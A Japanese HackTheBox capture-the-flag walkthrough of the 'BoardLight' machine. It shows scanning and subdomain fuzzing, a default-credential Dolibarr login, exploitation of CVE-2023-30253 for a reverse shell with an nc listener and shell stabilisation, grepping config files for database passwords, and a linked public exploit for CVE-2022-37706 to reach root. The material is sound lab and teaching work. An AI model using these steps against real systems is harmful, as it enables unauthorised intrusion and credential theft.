HackTheBox Writeup：BoardLight

# はじめに
本記事はHackTheBoxのWriteupです。

Machineは、BoardLightです。

BoardLightでは、DolibarrやEnlightenmentの脆弱性について学びます。

## スキャニング
はじめにポートスキャンを実行します。

以下では事前に用意したシェルを介してポートスキャンを実行しています。

```console
##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-14 22:10 JST
Nmap scan report for board.htb (10.10.11.11)
Host is up (0.26s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
|   256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_  256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.07 seconds
Scan completed

```

上記ポートスキャンの結果を基に調査を行います。

## 列挙
ブラウザからIPアドレスにアクセスすると、以下の様な画面が表示されます。

調査した結果ドメインは`board.htb`と思われるため、hostsファイルを編集します。

![スクリーンショット 2024-06-14 22.19.29.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/c6e4a4a0-2a10-02ec-1f1f-f17cea3f1510.png)

### サブドメイン
BoardLightは、サイバー脅威からビジネスを保護する最先端のセキュリティソリューションの提供を専門とする架空のサイバーセキュリティコンサルティング会社です。

トップページでは特に気になる点は見当たらなかったので、引き続きffuwを用いてサブドメインの列挙を行います。レスポンス結果を踏まえて、レスポンスサイズの値は全て15949になっているため、`-fs`オプションを使用して除外します。

`$ ffuf -w ~/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://board.htb -H "Host: FUZZ.board.htb" -c -fs 0,15949`

```console

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://board.htb
 :: Wordlist         : FUZZ: /home/kali/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.board.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 0,15949
________________________________________________

crm                     [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 308ms]
:: Progress: [4989/4989] :: Job [1/1] :: 158 req/sec :: Duration: [0:00:38] :: Errors: 0 ::
```

crmのサブドメインを検出したのでアクセスすると、別のページが確認できました。

![スクリーンショット 2024-06-14 22.36.16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/f3b2e308-3d25-cb1c-8957-8684f966b81b.png)

確認した結果、Dolibarrと呼ばれるオープンソースで開発されたERPとCRMの機能を持つソフトウェアパッケージでした。

## 脆弱性分析
足場を作るために利用可能な脆弱性を探します。

### Dolibarr
ユーザー名はadmin、パスワードにadminを入力してログインすると、以下の様な画面が表示されます。

![スクリーンショット 2024-06-14 22.36.38.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/3168bfd2-cf22-d95d-9f22-119824d994bd.png)

画面を確認したところ、一部の機能は制限がかかっているため、アクセスできません。

バージョン情報を基に脆弱性を調査すると、イタリアのサイバーセキュリティ企業であるSwascan社の[Security Advisory: Dolibarr 17.0.0 PHP Code Injection (CVE-2023-30253)](https://www.swascan.com/security-advisory-dolibarr-17-0-0/)の記事を発見しました。（※本記事執筆時点で日本のNWからだとアクセスできないため、VPNを用いて海外経由でアクセスしています）

![スクリーンショット 2024-06-14 22.53.06.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/56286f6e-a240-5b3c-af40-b9a2a606a662.png)

脆弱性は[CVE-2023-30253](https://nvd.nist.gov/vuln/detail/CVE-2023-30253)です。CMS ウェブサイト プラグイン (コア) が有効になっているDolibarr 17.0.0 では、認証された攻撃者がアプリケーションの制限を回避してPHPコードインジェクションを介してリモートコマンドを実行できます。

## システムハッキング
アクセスの獲得を行うために、足場となる入り口を探します。

### アクセスの獲得
適当にWebサイトを作成して、リバースコードを仕込みます。

![スクリーンショット 2024-06-14 22.58.36.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/12384c8a-182c-47d0-edeb-07a161f7ce9a.png)

リバースシェルを取得するリスナーは事前に用意しておきます。

`$ nc -lnvp 4444`

ペイロードが実行されることで、リバースシェルが取得できます。

```console
listening on [any] 4444 ...
connect to [Your IP address] from (UNKNOWN) [10.10.11.11] 45836
bash: cannot set terminal process group (920): Inappropriate ioctl for device
bash: no job control in this shell
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ 
```

リバースシェル取得後はシェルが不安定な状態になっているため、シェルを安定させます。

```console
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ /usr/bin/python3 -c 'import pty;pty.spawn("/bin/bash")'
</bin/python3 -c 'import pty;pty.spawn("/bin/bash")'     
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ ^Z
[1]+  停止                  nc -lnvp 4444

┌──(kali㉿kali)-[~]
└──$ stty raw -echo; fg
nc -lnvp 4444
             export TERM=xterm
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ export SHELL=bash
```

### ユーザーフラグ
`/home`配下のディレクトリを確認すると、larissaユーザーが確認できます。

```console
total 4
drwxr-x--- 16 larissa larissa 4096 Jun 14 06:26 larissa
```

larissaユーザーの認証情報を探します。

調査を続けると、www-dataユーザーのhtdocsディレクトリ配下にconfディレクトリを見つけました。

`ls -l conf`

```console
total 44
-rw-r--r-- 1 www-data www-data  1736 May 17 00:18 conf.php
-rw-r--r-- 1 www-data www-data 16394 Mar  4  2023 conf.php.example
-r-------- 1 www-data www-data 16394 May 13 13:20 conf.php.old
```

以下の様なコマンドを実行して、認証情報を探します。

`grep -r password ./conf/`

```console
./conf/conf.php.old:// This parameter contains password used to read and write into Dolibarr database.
./conf/conf.php.old:// $dolibarr_main_db_pass='myuserpassword';
./conf/conf.php.old:// $dolibarr_main_authentication='dolibarr';       // Use the password defined into application on user file (default).
./conf/conf.php.old:// $dolibarr_main_authentication='ldap';           // Check the password into a LDAP server
./conf/conf.php.example:// This parameter contains password used to read and write into Dolibarr database.
./conf/conf.php.example:// $dolibarr_main_db_pass='myuserpassword';
./conf/conf.php.example:// $dolibarr_main_authentication='dolibarr';       // Use the password defined into application on user file (default).
./conf/conf.php.example:// $dolibarr_main_authentication='ldap';           // Check the password into a LDAP server
```

探索を続けると、パスワードを発見しました。

```console
./conf/conf.php:$dolibarr_main_db_pass='*****************';
```

ユーザー名はlarissa、パスワードは上記で発見したパスワードを用いてsshログインすると、ユーザーフラグを取得できます。

### ルートフラグ
結論としては、[CVE-2022-37706](https://nvd.nist.gov/vuln/detail/CVE-2022-37706)の脆弱性を利用します。

CVE-2022-37706は、ウィンドウマネージャーのEnlightenmentの脆弱性として、ローカル権限を悪用します。 

検索で発見した以下エクスプロイトを実行することで、ルートに昇格できました。

https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit

```console
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),1000(larissa)
```

脆弱性の発見するためのアプローチは、以下の様なSUIDのファイルを検索するか、linpeas.shなどのツールを使用することで、発見できます。

`$ find / -perm -4000 2> /dev/null`

```console
/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
/usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/sbin/pppd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/sudo
/usr/bin/su
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/vmware-user-suid-wrapper
```

- linpeas.shの出力例

![スクリーンショット 2024-06-14 23.37.36.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/be810411-56f8-c453-e14c-38c2bbda6980.png)

# おわりに
脆弱性の発見の仕方について学ぶことができるMachineでした。